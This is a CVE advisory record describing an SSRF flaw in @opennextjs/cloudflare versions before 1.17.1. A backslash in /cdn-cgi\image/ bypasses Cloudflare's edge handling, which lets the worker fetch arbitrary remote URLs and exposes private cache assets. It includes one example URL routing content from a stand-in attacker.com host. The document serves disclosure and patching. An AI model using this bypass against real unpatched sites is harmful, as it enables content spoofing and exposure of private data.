{"timestamp":"2026-03-04T18:58:41.207814Z","id":"CVE-2026-3125","options":[{"exploitation":"none"},{"automatable":"yes"},{"technicalImpact":"partial"}],"role":"CISA Coordinator","version":"2.0.3"}

[{"vendor":"opennextjs","product":"@opennextjs/cloudflare","defaultStatus":"unaffected","collectionURL":"https://www.npmjs.com/package/@opennextjs/cloudflare","packageName":"@opennextjs/cloudflare","modules":["packages/cloudflare/src/cli/templates/worker.ts"],"platforms":["Cloudflare Workers"],"repo":"https://github.com/opennextjs/opennextjs-cloudflare","versions":[{"version":"0","lessThan":"1.17.1","versionType":"npm","status":"affected"}]}]

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE-918

OR
          *cpe:2.3:a:opennextjs:opennext_for_cloudflare:*:*:*:*:*:node.js:*:* versions up to (excluding) 1.17.1

Cloudflare, Inc.: https://github.com/advisories/GHSA-rvpw-p7vw-wj3m Types: Third Party Advisory

Cloudflare, Inc.: https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 Types: Issue Tracking, Patch

Cloudflare, Inc.: https://www.cve.org/cverecord?id=CVE-2025-6087 Types: Third Party Advisory

Cloudflare, Inc.: https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1 Types: Product, Release Notes

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: 

 https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com 

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CWE-706

CWE-918

https://github.com/advisories/GHSA-rvpw-p7vw-wj3m

https://github.com/opennextjs/opennextjs-cloudflare/pull/1147

https://www.cve.org/cverecord?id=CVE-2025-6087

https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1